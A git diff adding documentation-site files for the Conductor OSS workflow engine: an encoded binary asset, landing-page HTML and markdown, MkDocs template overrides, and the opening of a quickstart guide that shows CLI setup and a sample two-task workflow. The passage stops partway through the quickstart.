zpio&|{`zxYU8^7&ftKjtV3+Y!K>KciX*~v6;Ciu&{F!m9yZHu=SFh#%+*)NIEmk)s zwq9Ol?M;ZJi?*KIk3(aI;>O1z20Sgt(o^A@D>lBzStx)8=(R0jVk}#&i1$KuMKp5S zYqFP6{jCqO^?J8!P-?e&sooe>+iLQj|M_8t_cX*~$w}GoT{=&t`|Sg+fQGV*%`PDF z6{^|q;9_LvNSSTueZ)QCE}sC63O$_e2z-0Ab=wj6Y}&914oeKkj+^#ctL-?b-^=@X zb0Weu$zWq{2s%Y>Hikd7uY`@;0cg#4FDMGLi;wYA^*IZTG&uE!zuPZC5Gb(9RV*<7X z_!0!>+p~rcq`Xqs_(RJL`5dj)B#x7YxOW~ap}{P+kMdZWKK?{W>Z+Q(>&In@A}0aO z$h@9ws#2e;g-kRht*D2cUC>}U z(T{h&`wgfz@kTc=08z~<-BT3>G&6@qR!NBHGi$F_=1-z?m;TILI^|hU!K9{7}tyO-v?qC`*kXEh3^2i-aKVR=W< zT7O$MT+{{BJ@;dB2U@S(*_p(DI#czWoC4(ByG}3x02Z>QW3DU?JQk(u%Zq;U)AnN8 zNb-18{Ccmcj!Qp^|H=J)2Nwi{V!f`vez`RC*$yR|PGevWb^0}|t^|jZBbI&VT1_79 zhTQ8Ui%bjG&EKuftWyasy87n7V=jE=>7l~TM6BxPP}=!j65K{dp6zX&v{9oOoKlp9 zyaSMLoM|=IM3TM!ab<6w1Kts!IiDi-1raOyV_<6Yz4`4uB95y5dgDV#uWLUuZx*X- zIKX}~-u!;_SNkJ}%MrKpWlt24`P$`ugIeCLlI(g35Qv-J9v$BH&;s(WZx9Vgxk7>M zwdzNfP$&*)A6YhX>w)yUv?R;V&nE}ZXJBiQzI@+rz7gp)nwioHb7uR3uFWy&;pslz znK}VF!P~PnVqd>D--3!fYtJb*-6F008_Lp_9psG3`pG2)C1r?K95cjvL|u9NtCqUR z(G{u`2q0C*PEND>vF1|c`X?pHhXd{o;PZp()vfOC@&$g@c|{4=#nuByZV^Hepm-YZ zi)E<1J;TpVrK6ojqlM<3T~N_rDQW@MhNCWy{#9SmRHhOA?ApG|ZIQC{ZsyD5UFAXg zMNC)*TudcmOsTLdEJ4tBl*O2@G`nVhK6hZr19Ki|SGGG}GuyfVk*Ki4^!<=w7Zbbw zdNS;Dk=X=g@wqN;C|7dIu37ZGki{!E=*Z%I0Qa+h#Spi#8rJP0vIkQRAub|{q5Exf zyXFa@9WF_J!{5VS_O?St&PIQxI$O?4@=RJr7Uia?{LVAFr!|zST-71bKEvQHDtPxP z51@i?M2@b&XDTD?FO^)tF{|{Dgv@`-<1a|^Ga>i<-QyLyP2w^V#~XQfF_zqNe4CEA zZk|gumX(=LYQAZXRTsq^N)z~PPu;8Ut^=9)59{B@xW=M`;p4E0Xu?oQnW37zc+K|D zupsJMq$9Egom`$sJ>DR9S(FAx)b#ZYHEeyYiUI;R>3&xY_mac~1%g9ifr2&9Mf~7K zwYn)g!Lu%Em1pI^?yml>{qb$r=1I-uqTOA$Om_6z*{S%5i*W|oiKqn(JkJ0!>gK{6 z)S%;zYfc{es|rBcf6ZB^^IDyo?0X+ZbGO~3#L*iCmO>I^XS!-&6Rx8G)m%qEsqU_o zSnXz^;u6cVmSai+t9<>;Q1WZ^hV`E?D$3og?8nsQ$nwl@2lcDVY-T=PCBdgfXup+X zIaN!u98VKt5P<(W{~bi-vql(HUuxIGBA?CE1U;gCW9Y5aP@xY%#7NXpzZaf)?~FY* zh20_&&0sDYgCg!5i$#xSU0ax-7A~9a6X!&L_*b^N#LDc3{Y?Rxmc=pv^7yWUy=(7+22+%bW;jAce1fiw@pN5??IFRD)k`m3DEL{ z92S!R<%8QL56K(ovd{JQa_U;)S&+0#gdQPCaEN34O)<@q=z)OWA`;`J{m#7I(1-Jr zDd(kJ6`U-@UnsHX<3AMXIV&kmzpQg-s7DbEvURQLXB6~Z{P~PGH>d2!ouyhC zql_0jkV&_~|`RyJdPerAw3L#x(n9j!&(3O-7fH}*Q#y${n7%Yfp z2z*8}ySOWe5>Brgg1V>FHprhl=ow?8RwKo{b|$xJ{oZc(&{_jIJR%-8D^SIw=WrrU zA-zUEC6RytPXJF&UA6EUpxr*hel%(P&0Mw4V)lFcKtf`DDT7nmX1^1C#F&Kd_3S1V zs=mrZ%wvC{$@f<2_09oBHOPw@pxhHrRE0 zeU2+2c;Snv9dgiblklA`pqz1|GNL*BE{zXt4qMu;ymlVbs-+%xk>O>^U0W2e(dNx6 zkn$)M0(2xC;_fI~F)IKbp1C37XP1Jl=W81BeC&SnJMdZz&~ECSF@=GT#w`ogEhkub ziMMwL!^L~{D(?KQ0q)==t?3~;Klr_sTsJaG5)BYFwwfRll9#(DWv!Un=4Po*2@5;l z>^YOXyoWCVRWM*1=>X&c>u3ck>+6G4$ZDZ?EmkA%qxQwG&QNI|X_Dgv8w<)uH>JIa zKJaz_W~JGAV2^FjJy#Ob%|LVA!b5LCM5d!bPt@D|VP?>!`$bni+jX~f8>0Ry+Yo;y zC1=jVop-!A|7@xD`U;^02qUajZ<6`GHFL?4Fjr3UU;697*mJW4@yBZy7v7rd7NZK;h$x`_wy@7lJ)iv_YVxwjJCl59=F^xBr}UpzGX_r6NCw$2Uo2DnuQ=xwsfnR#=P|lpPvR$Suaf!XVyKUqA7S?pxq9idkTz{FlqaqXf(InXiJ( z4Yd!2bVgjX<&6p4L-38Lc|6Z&KmvbnXcDW)WCo4`fy%qXiIEea%z}c_vNEXsGmiC_ z*|%RlsJZJpsHsIcnA9zMZMiQ*?T$CNXq8n?AAw2q+5+qv1=Vj-V(*2ojt3n5ZnigL zVk%SScZ!N^bEz1*HPlQ^)pV_N^Rv`C0`X{CZVUW;ujZA9?OG_lo18ITKA#JTvpcV* z$9yeBAkuii)2Fn4#=yIck5|5D)iyF(sEh{0D9Mu{X-~zV0)Hd7_T=!WMQ0Dr>tx#T zJ$1(`d44ObZ30VFK>D}sR=M29Io{}TId^LLOeAPE?_ey9R4;xzl`jIhdQN2nabo!;7VIoF4Em#K3)73v=>MR+L7fapRykkX-iA_idkptHV z)ZqP=6Kmt&BCy)Ddi>~%zt*4%s!8Fqi4uQiyqTVvnU2m<^Vfn{I2<0GUi-U_3nQp_ zVIT)@Y-~(vG+ZDbC^>d^;o}{@JM1mHK6BL5vvn(;o(`m-j0Yi99UL6g+@~8IzqO2M zwpQ>^xl_-)Ts?2-Ygw6p$t(rM`3J(fX!Ko1MhDL;!+Rq^h$vYfL?^*RG$>&oe2^gB z)KgYnC`+}$y*YEYSJ=fUSD=F>X=M&_nsAV;Km7H(0R_fSkAVG7x@>#wca50W5KaC5 zgc^XCP)>x=ikC(~cRm_p`>mitVKC#KG10VBr>;T2L^Fw8f-9uNZ``?<2(@x8XbU15w!>>!Sxb2zI_>b%s9GoML&G1_aOr*Mm({Y* z5JX&3D4;mL`(^o_Pj3YA8^sWI7$2vQ5+o86CTI9DT6JzIw!4uy9GWA#V zS40YUTAFmeaSD=TBBJj)U7QR>+WII7G3UIqB3gOiO%{Hz!s?JtE-$slYN|omWOuA| zL=i*w&^2i`!*jBrS<;RoXTxw0KsO~gC_5b{G^j_e3ft8;Z(c2bXqwMi+PLU$)a-XN z>2b1Ge8jH_3<^C?akhnmG-jR6+ni#Qn_tAKy_6+B%d9n) zwx|k@7P_Xcaa9bUUA2oGF$M?;D#KamY>ou^|6#GmNlcOXsJ4&VRHj>1IlZP`#qjbV zNt$!Z40RJlhh19ewZ_{;gi6mtlwQ{n4UIv4-ynU;vJn-sEsA!{E+NL4g)iU zM^sh@6V6aOw3ug<5}l{cM0i~NGFpr!elmsMvYHW(^hFPnOWbS6AuZgV&brNV=zPek z&?EBObzK_b#^3T*sAa%$$kx#Q^ih4q*VDka@rx7=O!qDD;-nT>!muutVJbYV6C;v3 z&29kGr{4z&@EN~?&;v&8!FdJbA9qJ$q~GD`S$wK&p#lvVHZ^Cjc-mj!m-x{QgY}`K;h-y}q5N;qZVI&QB>?=%tUHr^Bd`Z+zB)4iA32gC;r^3Ow2T;gr@?9PV_ zVRlj)yoN*^&6G#h>HO@Ux-d&CEHiWCCuNxTZhc1aRLUi|>h6W=LP@J(d*Y1w!UJ{t zaCWJ|({0C^wz$gi2%H+;B>y=0{)Bu4yUGcNZP5?a!Rl(!E6m`0u#BAp*~fC(YU;l?LblJbFAF{l<#kjZ-d0 zv$%t?H5})5%D3lKP>uv#p>%)4dv~#r7Dp7tSth|yh8a`ek_~><1s}_4zIW6PlZ={+ zMWv$i`~e=!*DLu5B-iXemL${32-r$aIKi7z0&J7|G!&KL6ugK5Fu$be7N85HGh3XP?fGVw;qD$@-7) zAYfybi!DV@=tSN6ab)F{_s`mozQz=cx}wL*4cEsW@u7ve-)V`-GZ*)IwqN7ekLLD#N-nLlLl{$x^k`hfa{O2X9Cl`O- zZ(s!$_Vf%lsV{ytA7c}7r|5r`3jebzihTe2{L9i_D6f-~28oM~0+Qcpy;yScC5r-c zo=TjIV8p%$3-Y5^+7%H@g6iDe5Jp)m}>Nx!{2QA(kk7IZ< ztF@0g5D`P{INT+{Q~cc|j-7PtS+b#3H{#B|kHT(c=lpC-tG{sm+w&GNJAM+oIhl6z zlUJ}}jh!G=X7Sf&sk1dF@uszl8oDk-{zVSklV%VW`}Fx%W{? zuc!V$JLBmNl2}NGi=Bl@$DxZW__3r`GxCvU^k?EHi>6rZsjf3gk{2o;vX0-|n|qdU zt}xK?@(@m-k29p?ici0GJcd&e><@=qO5G3P_YW&>C8enn#-80HS@X$>3$T;5l%yl% z!Np73I$QP08M9HyYu_pkf98H|zgypVJIY zK3hMJdlg5xFIx-?^%cTO@&al3DxUDw)eX~zz2q&vBjQ!z{4!Y4GD#hD-uqP4fB#<{ z@xkl^d&%FSDYF4(Tp5j>@A+jc1_PBWl)^P6(D~Go^q=M=x*qD`*!BYk5&zT%HuxF` z_46u^K-o0ORJmV6l%5_XKq^{GA0Wvf^f&iX)vw;Y_AN-p^N~%EU-<=EoY$SLgb=<1-3G8hXdNUUfmm_{D0+%MZXUS1IB{)hY{mH)_uTVz!>n)nfukoKga*% zi63`$){j{p{CM-M)3z7G=MnH%dV<{H!J7w9q<~`nyf5tQ{TF)&e8OvhRQUgcTmDBS{J&Agf7eoe*@J-b__Nag_SY%r ziggDUH+qz9*7ZB0yok=zV8G7=h^>i2l-#C>;I*`_&>gtHSI)Y$d4j7 T4oTpx9w^GH$&^Zc`1;=flDI)B literal 0 HcmV?d00001 diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 0000000..f427aec --- /dev/null +++ b/docs/index.html @@ -0,0 +1,1929 @@ + + + + + Conductor OSS | Open Source Workflow Orchestration + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + + +
    +
    Apache 2.0 Licensed · Originally created at Netflix
    + +

    + Code breaks. Infrastructure fails.
    + Your workflows don't. +

    + +

    + Ship workflow changes without redeploying workers. Write your code in any language — the engine guarantees durability, not your coding discipline. +

    + +
    + + + Get Started + + + + View on GitHub + +
    + +
    + Built for change +
    + Independent workflow upgrades + Runtime-defined workflows + Dynamic forks and tasks + Native LLM + MCP + Human-in-the-loop + Any-language workers + Replayable history +
    +
    +
    +
    + +
    + + +
    +
    +
    +
    Polyglot Execution
    +

    Keep workers in the stacks you already run

    +

    Conductor orchestrates across languages and services instead of forcing workflow logic into a single application runtime

    +
    + +
    + +
    Python
    +
    Python
    conductor-oss/python-sdk
    +
    →
    +     + +
    Java
    +
    Java
    conductor-oss/java-sdk
    +
    →
    +     + +
    TypeScript
    +
    TypeScript
    conductor-oss/javascript-sdk
    +
    →
    +     + +
    .NET
    +
    .NET
    conductor-oss/csharp-sdk
    +
    →
    +     + +
    Go
    +
    Go
    conductor-oss/go-sdk
    +
    →
    +     + +
    + + + + + + +
    +
    Ruby
    conductor-oss/ruby-sdk
    +
    →
    +     + +
    + + + R + + +
    +
    Rust
    conductor-oss/rust-sdk
    +
    →
    +     +
    +
    +
    + +
    + + +
    +
    +
    +
    Quick Start
    +

    Getting Started

    +

    Start with the core OSS paths: quickstart, self-hosting, recipes, and releases

    +
    + +
    + +
    Quickstart
    +
    +
    Quickstart Guide
    +

    Run Conductor locally, register a workflow, and execute it end to end.

    +
    +
    Start here →
    +     + + +
    Deployment
    +
    +
    Self-Hosting
    +

    Deploy Conductor OSS with Docker, shared persistence, and production-ready topology.

    +
    +
    Deploy OSS →
    +     + + +
    Cookbook
    +
    +
    Cookbook
    +

    Reference patterns for microservices, timers, event-driven workflows, and AI orchestration.

    +
    +
    Browse recipes →
    +     + + +
    Releases
    +
    +
    Releases
    +

    Download tagged releases, review changelogs, and track the project release cadence.

    +
    +
    View releases →
    +     +
    +
    +
    + +
    + + +
    +
    +
    +
    Four Pillars
    +

    Why Conductor is stronger when systems change in production

    +

    The real advantage is not just durability. It is durable orchestration that can evolve independently, adapt at runtime, span any language boundary, and absorb AI-native workflows without forcing a new stack.

    +
    + +
    + +
    JSON-native
    +
    +
    Workflow changes should not require worker redeploys
    +

    Version, inspect, and change workflow behavior independently of worker implementations. Running executions keep their snapshot while new executions pick up the new path.

    +
    +
    See runtime model →
    +     + + +
    Dynamic workflows
    +
    +
    Dynamic plans should run natively at runtime
    +

    Generate workflows on demand, branch with dynamic tasks and forks, and choose sub-workflows per execution without adding a code generation or redeploy step.

    +
    +
    See dynamic workflows →
    +     + + +
    AI orchestration
    +
    +
    AI orchestration should be infrastructure, not example code
    +

    LLM tasks, MCP tool discovery and calls, vector workflows, and human approval are first-class engine capabilities on the same durable runtime as service orchestration.

    +
    +
    See AI orchestration →
    +     + + +
    Polyglot workers
    +
    +
    Polyglot systems need one durable control plane
    +

    Keep workers in Java, Python, Go, TypeScript, C#, Ruby, Rust, or any service that can call HTTP. Orchestration should not force a single application runtime.

    +
    +
    See SDKs and workers →
    +     +
    +
    +
    + +
    + + +
    +
    +
    +
    Production Proof
    +

    Why the model holds under real failure

    +

    The mechanics behind independent workflow evolution, runtime orchestration, and long-running execution in production

    +
    + +
    +
    +
    + + High Reliability + +
    +
    +
    +
    01 — Durability
    +
    State Persists at Every Step
    +
    Workflow state, task state, inputs, outputs, retries, and queues are persisted before execution advances, so workers and servers can fail without losing progress.
    +
    + + Failure semantics → + +
    +
    + +
    +
    + + Infinite Scale + +
    +
    +
    +
    02 — Recovery
    +
    Recovery Is an Operator Primitive
    +
    Pause, resume, retry, rerun, and restart are normal controls backed by preserved execution history, not custom recovery logic you have to invent later.
    +
    + + Learn recovery model → + +
    +
    + +
    +
    + + High Availability + +
    +
    +
    +
    03 — Determinism
    +
    No Replay-Safe Workflow Coding Trap
    +
    Workflow definitions are pure orchestration. Side effects live in workers and system tasks, so determinism comes from the model itself instead of replay-safe application code discipline.
    +
    + + Why JSON-native → + +
    +
    + +
    +
    + + Durable Execution + +
    +
    +
    +
    04 — Versioning
    +
    Running Workflows Keep Their Snapshot
    +
    Each execution carries the workflow definition snapshot taken at start time, so new workflow behavior can ship without destabilizing executions that are already in flight.
    +
    + + Learn versioning model → + +
    +
    +
    +
    +
    + +
    + + +
    +
    +
    +
    Learn
    +

    Project Resources

    +

    Core documentation, architecture, recipes, and direct answers to the common durability and comparison questions

    +
    + +
    + +
    Docs
    +
    +
    Documentation
    +

    Architecture, APIs, workflow primitives, operations, and deployment guidance.

    +
    +
    Read Docs →
    +     + + +
    Guides
    +
    +
    Durable Execution
    +

    Read the project contract for persistence, retries, replay, and recovery behavior.

    +
    +
    Read architecture →
    +     + + +
    Blog
    +
    +
    Cookbook
    +

    Use reference recipes for microservices, event-driven patterns, timers, and AI workflows.

    +
    +
    Browse cookbook →
    +     + + +
    FAQ
    +
    +
    Why Conductor
    +

    Read the reasoning behind independent workflow upgrades, runtime-defined orchestration, native AI primitives, and polyglot workers.

    +
    +
    Read answers →
    +     +
    +
    +
    + +
    + + +
    +
    +
    +
    Community
    +

    Join the Community

    +

    Discuss ideas, contribute in public, and track project activity across the open-source community

    +
    + +
    +
    +
    + Community +
    +
    +
    Community
    +

    Join the public Slack community and GitHub Discussions to ask questions and share patterns.

    + + Join Slack + Slack + +
    +
    + +
    + + GitHub + +
    +
    GitHub
    +

    Follow the repository, browse issues, review releases, and track active development.

    + +
    +
    + +
    +
    + Contributing +
    +
    +
    Contributing
    +

    Open pull requests, report issues, and review the project security and contribution policies.

    + + Read contributing guide → + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + +

    Open Source Workflow and Agent Orchestration Platform

    +

    Copyright 2026 © Conductor OSS Contributors

    +
    + +
    +
    +
    Resources
    + Docs + Quickstart + Releases + Security +
    +
    +
    Community
    + GitHub + Discussions + Slack + Contributing +
    +
    +
    +
    + +
    +
    + Originally created at Netflix. Maintained in the open by the Conductor OSS community. +
    +
    +
    + + + + + + + + diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..23a2ca0 --- /dev/null +++ b/docs/index.md @@ -0,0 +1,285 @@ +--- +hide: + - navigation + - toc +description: Conductor is an open source workflow engine and durable execution platform for workflow orchestration, microservice orchestration, and AI agent orchestration. Self-hosted, Apache 2.0 licensed. 14+ native LLM providers, MCP tool calling, and built-in vector database support. Build distributed workflows with saga pattern compensation, at-least-once task delivery, human-in-the-loop approval, and polyglot workers. The workflow automation platform for teams that need LLM orchestration and durable execution at scale. +--- + +
    + +
    +
    Apache 2.0 Licensed · Originally created at Netflix
    +

    Code breaks. Infrastructure fails.
    Your workflows don't.

    +

    Crash-proof workflows and AI agents that finish what they start — powered by durable execution at Netflix scale.

    +

    No SDK restrictions. No non-determinism bugs. No cloud lock-in.

    +
    + Get Started→ + + + conductor-oss/conductor + + + +
    +
    $ npm install -g @conductor-oss/conductor-cli
    +
    +
    +
    + +
    +

    Build with AI Agents

    +
    +
    +
    + Conductor Skills → + Install Conductor Skills for your AI Agent +
    +
    + AI Cookbook → + 14+ LLM providers, MCP tool calling, human-in-the-loop, and durable agent execution. +
    +
    +
    +
    + +
    +
    Guaranteed at-least-once
    Task Delivery
    +
    +
    Any language
    Worker Support
    +
    +
    Millions
    Concurrent Workflows
    +
    +
    Billions of workflows
    Internet Scale Execution
    +
    + +
    +

    Trusted by engineering teams at

    +
    +
    + Netflix + Tesla + LinkedIn + JP Morgan + Freshworks + American Express + Redfin + VMware + Coupang + Swiggy + Netflix + Tesla + LinkedIn + JP Morgan + Freshworks + American Express + Redfin + VMware + Coupang + Swiggy +
    +
    +
    + +
    +
    +

    Built for workflows that can't afford to fail.

    +
    +
    +
    +
    Core
    +

    Durable execution by default

    +

    Workflow state is persisted at every step. Survive server restarts, worker crashes, and network failures. Durable execution with at-least-once task delivery, configurable retries, timeouts, and compensation flows. Build durable agents that never lose progress.

    + Failure semantics → +
    +
    +
    JSON superpower
    +

    JSON native — deterministic by default

    +

    JSON definitions separate orchestration from implementation — no side effects, no hidden state, every run is deterministic. Generate workflows at runtime with LLMs, modify per-execution, and use dynamic forks, dynamic tasks, and dynamic sub-workflows for more flexibility than code-based engines. Code via SDKs when you need it.

    + Why JSON wins → +
    +
    +
    Primitives
    +

    Replay, Restart, Pause, Resume

    +

    Pause workflows on time, external signals, webhooks, or human approval. Resume safely after minutes, hours, or days. Replay any workflow from the beginning, from a specific task, or retry just the failed step — even months later. Full execution history is always preserved.

    + How it works → +
    +
    +
    AI
    +

    AI agent orchestration & LLM orchestration

    +

    Orchestrate AI agents with 14+ native LLM providers (Anthropic, OpenAI, Gemini, Bedrock, Mistral, and more), MCP tool calling, function calling, human-in-the-loop approval, and structured output. Built-in vector database support (Pinecone, pgvector, MongoDB Atlas) for RAG pipelines.

    + AI Cookbook → +
    +
    +
    Workers
    +

    Polyglot workers

    +

    Write task workers in any language. Workers poll for tasks, execute your logic, and report results—run them anywhere.

    +
    + Java + Python + Go + C# + JavaScript + Ruby + Rust +
    +
    +
    +
    Reliability
    +

    Saga pattern & compensation

    +

    Model distributed transactions as sagas. When a step fails, Conductor automatically runs undo logic in reverse order—no manual intervention.

    + Error handling → +
    +
    +
    + +
    +
    +

    Understand the engine.

    +
    +
    + +
    01
    +

    Durable Execution

    +

    What persists, what gets retried, failure matrix, and state transitions.

    +     + +
    02
    +

    AI Cookbook

    +

    LLM tasks, tool calls, human approval, dynamic workflows, MCP tools.

    +     + +
    03
    +

    JSON + Code Native

    +

    Runtime generation, versioning, dynamic definitions, API/SDK parity.

    +     + +
    04
    +

    System Architecture

    +

    Worker-task queues, persistence, polling, distributed consistency.

    +     +
    +
    + +
    +
    +

    Frequently asked questions.

    +
    +
    +
    + How do I run Conductor with Docker? +

    Run docker run -p 8080:8080 conductoross/conductor:latest to start Conductor with all dependencies included. The server will be available at http://localhost:8080. For production deployments with external persistence, see the Docker deployment guide.

    +
    +
    + Is Conductor open source? +

    Yes. Conductor is a fully open source workflow engine, Apache 2.0 licensed. You can self-host it on your own infrastructure with no vendor lock-in. It supports 5 persistence backends, 6 message brokers, and runs anywhere Docker runs.

    +
    +
    + Is this the same as Netflix Conductor? +

    Yes. Conductor OSS is the continuation of the original Netflix Conductor repository after Netflix contributed the project to the open-source foundation.

    +
    +
    + Is this project actively maintained? +

    Yes. Orkes is the primary maintainer of this repository and offers an enterprise SaaS platform for Conductor across all major cloud providers.

    +
    +
    + Can Conductor scale to handle my workload? +

    Conductor was built at Netflix to handle massive scale and has been battle-tested in production environments processing millions of workflows. It scales horizontally to meet virtually any demand.

    +
    +
    + Does Conductor support durable execution? +

    Yes. Conductor pioneered durable execution patterns, ensuring workflows and durable agents complete reliably even in the face of infrastructure failures, process crashes, or network issues.

    +
    +
    + Can I replay a workflow after it completes or fails? +

    Yes. Conductor preserves full execution history indefinitely. You can restart from the beginning, rerun from any specific task, or retry just the failed step — even months later. Use the API (/restart, /rerun, /retry) or the UI.

    +
    +
    + Are workflows always asynchronous? +

    No. While Conductor excels at asynchronous orchestration, it also supports synchronous workflow execution when immediate results are required.

    +
    +
    + Do I need to use a Conductor-specific framework? +

    No. Conductor is language and framework agnostic. Use your preferred language and framework—SDKs provide native integration for Java, Python, JavaScript, Go, C#, and more.

    +
    +
    + Isn't JSON too limited for complex workflows? +

    The opposite. JSON separates orchestration from implementation, making every workflow deterministic by construction — no side effects, no hidden state. Dynamic forks, dynamic tasks, and dynamic sub-workflows let you build workflows that are more flexible than code-based engines. JSON is also AI-native: LLMs can generate and modify workflow definitions at runtime without a compile/deploy cycle. Code-based engines require redeployment for every change.

    +
    +
    + Is Conductor a low-code/no-code platform? +

    No. Conductor is designed for developers who write code. While workflows can be defined in JSON, the power comes from building workers and tasks in your preferred programming language.

    +
    +
    + Can Conductor handle complex workflows? +

    Conductor was specifically designed for complex orchestration. It supports advanced patterns including nested loops, dynamic branching, sub-workflows, and workflows with thousands of tasks.

    +
    +
    + Is Netflix Conductor abandoned? +

    No. The original Netflix repository has transitioned to Conductor OSS, which is the new home for the project. Active development and maintenance continues here.

    +
    +
    + Is Orkes Conductor compatible with Conductor OSS? +

    100% compatible. Orkes Conductor is built on top of Conductor OSS, ensuring full compatibility between the open-source version and the enterprise offering.

    +
    +
    + Can Conductor orchestrate AI agents and LLMs? +

    Yes. Conductor provides AI agent orchestration and LLM orchestration as native capabilities. 14+ LLM providers (Anthropic, OpenAI, Azure OpenAI, Google Gemini, AWS Bedrock, Mistral, Cohere, HuggingFace, Ollama, and more), MCP tool calling and function calling (LIST_MCP_TOOLS, CALL_MCP_TOOL), vector database integration (Pinecone, pgvector, MongoDB Atlas) for RAG, and content generation (image, audio, video, PDF). All with the same durability guarantees as any other workflow task.

    +
    +
    + How does Conductor compare to other workflow engines? +

    Conductor is the only open source workflow engine with native LLM task types for 14+ providers, built-in MCP integration, and vector database support. Combined with durable execution, 7+ language SDKs (Java, Python, Go, JavaScript, C#, Ruby, Rust), 6 message brokers, 5 persistence backends, and battle-tested scale at Netflix, Tesla, LinkedIn, and JP Morgan, Conductor provides the most complete workflow orchestration platform available. Unlike Temporal, Step Functions, or Airflow, Conductor is fully self-hosted, supports both code-first and JSON workflow definitions, and provides native AI agent orchestration out of the box.

    +
    +
    +
    + +
    +

    Trusted by engineering teams at

    +
    +
    + Netflix + Tesla + LinkedIn + JP Morgan + Freshworks + American Express + Redfin + VMware + Coupang + Swiggy + Netflix + Tesla + LinkedIn + JP Morgan + Freshworks + American Express + Redfin + VMware + Coupang + Swiggy +
    +
    +
    + +
    +
    +

    Open source workflow engine. Community driven.

    +

    Apache-2.0 licensed. Self-hosted, no vendor lock-in. Originally created at Netflix, now maintained by the community.

    +
    + Star on GitHub→ + Contributing guide +
    +
    +
    + +
    diff --git a/docs/overrides/404.html b/docs/overrides/404.html new file mode 100644 index 0000000..31ebeb9 --- /dev/null +++ b/docs/overrides/404.html @@ -0,0 +1,24 @@ +{% extends "main.html" %} + +{% block tabs %}{% endblock %} +{% block content %} +
    +

    + 404 +

    +

    + This page doesn't exist — but your workflows still do. +

    + +
    +{% endblock %} diff --git a/docs/overrides/main.html b/docs/overrides/main.html new file mode 100644 index 0000000..4f91acc --- /dev/null +++ b/docs/overrides/main.html @@ -0,0 +1,230 @@ +{% extends "base.html" %} + +{% block extrahead %} + + + + + {% set page_title = page.title ~ " — " ~ config.site_name if page and page.title else config.site_name ~ " — Durable Execution Engine" %} + {% set page_desc = page.meta.description if page and page.meta and page.meta.description else config.site_description %} + {% set page_url = config.site_url ~ page.url if page and page.url else config.site_url %} + + + + + + + + + + + + + + + + + + + + + + + + {% if page and page.url %} + {% set parts = page.url.replace("index.html", "").rstrip("/").split("/") %} + {% if parts | length > 0 and parts[0] != "" %} + + {% endif %} + {% endif %} + + + {% if page and (page.url == "index.html" or page.url == "" or page.url == "/") %} + + {% endif %} + + + +{% endblock %} diff --git a/docs/overrides/partials/logo.html b/docs/overrides/partials/logo.html new file mode 100644 index 0000000..85cd2f3 --- /dev/null +++ b/docs/overrides/partials/logo.html @@ -0,0 +1,5 @@ +{% if config.theme.logo %} + +{% endif %} \ No newline at end of file diff --git a/docs/quickstart/index.md b/docs/quickstart/index.md new file mode 100644 index 0000000..3c8934c --- /dev/null +++ b/docs/quickstart/index.md @@ -0,0 +1,413 @@ +--- +description: Run your first Conductor workflow in 2 minutes. Call an API, parse the response with server-side JavaScript, and see durable execution in action — no workers needed. +--- + +# Run Your First Workflow + +**See a workflow execute in 2 minutes. Build your own in 5.** + +You need [Node.js](https://nodejs.org/) (v16+) and Java 21+ installed. That's it. + +## Phase 1: See it work + +> **Prerequisite:** Java 21+ is required to run the Conductor server. Run `java --version` to check. Install Java 21 if needed. + +### Start Conductor + +```bash +npm install -g @conductor-oss/conductor-cli +conductor server start +``` + +Wait for the server to start, then open the UI at [http://localhost:8080](http://localhost:8080). + +!!! note "Troubleshooting" + - **"Java not found" or server won't start?** Install Java 21+ and make sure `java -version` shows 21 or higher. + - **Port 8080 already in use?** Start on a different port: `conductor server start --port 9090` + - **Prefer Docker?** Skip the CLI server and run: `docker run -p 8080:8080 conductoross/conductor:latest` + +### Define the workflow + +Save `workflow.json` — a two-task workflow that calls an API and parses the response, all server-side: + +```json +{ + "name": "hello_workflow", + "version": 1, + "tasks": [ + { + "name": "fetch_data", + "taskReferenceName": "fetch_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET" + } + } + }, + { + "name": "parse_response", + "taskReferenceName": "parse_ref", + "type": "INLINE", + "inputParameters": { + "data": "${fetch_ref.output.response.body}", + "evaluatorType": "graaljs", + "expression": "(function() { var d = $.data; return { summary: 'Host ' + d.hostName + ' responded in ' + d.apiRandomDelay + ' with random value ' + d.randomInt, host: d.hostName, randomValue: d.randomInt }; })()" + } + } + ], + "outputParameters": { + "summary": "${parse_ref.output.result.summary}", + "apiResponse": "${fetch_ref.output.response.body}" + }, + "schemaVersion": 2, + "ownerEmail": "dev@example.com" +} +``` + +**What's happening here:** + +- **`fetch_data`** — an [HTTP task](../documentation/configuration/workflowdef/systemtasks/http-task.md) that calls an external API. No worker needed. +- **`parse_response`** — an [Inline task](../documentation/configuration/workflowdef/systemtasks/inline-task.md) that runs JavaScript server-side to extract and summarize the API response. +- Both are **system tasks** — Conductor executes them directly. No external code to deploy. + +### Register and run + +**Register the workflow:** + +```bash +conductor workflow create workflow.json +``` + +**Start the workflow:** + +```bash +conductor workflow start -w hello_workflow --sync +``` + +The `--sync` flag waits for completion and prints the full workflow execution JSON to stdout (server detection messages go to stderr). + +To extract just the output in a readable form, pipe through `jq`: + +```bash +conductor workflow start -w hello_workflow --sync 2>/dev/null | jq '.output' +``` + +```json +{ + "summary": "Host orkes-api-sampler-... responded in 0 ms with random value 1141", + "apiResponse": { + "randomString": "gbgkaofnvesptvlmocpk", + "randomInt": 1141, + "hostName": "orkes-api-sampler-...", + "apiRandomDelay": "0 ms", + "sleepFor": "0 ms", + "statusCode": "200", + "queryParams": {} + } +} +``` + +Open [http://localhost:8080](http://localhost:8080) to see the execution visually — the task timeline, inputs/outputs, and status of each step. + +!!! success "What just happened" + Conductor called an external API, passed the response to server-side JavaScript for parsing, tracked every step, and would have retried on failure — all without writing or deploying any worker code. + + +## Phase 2: Add a worker + +Now write real code that Conductor orchestrates — with automatic retries. + +### Update the workflow + +Save `workflow-v2.json` — adds a worker task that processes the parsed data: + +```json +{ + "name": "hello_workflow", + "version": 2, + "tasks": [ + { + "name": "fetch_data", + "taskReferenceName": "fetch_ref", + "type": "HTTP", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET" + } + } + }, + { + "name": "parse_response", + "taskReferenceName": "parse_ref", + "type": "INLINE", + "inputParameters": { + "data": "${fetch_ref.output.response.body}", + "evaluatorType": "graaljs", + "expression": "(function() { var d = $.data; return { 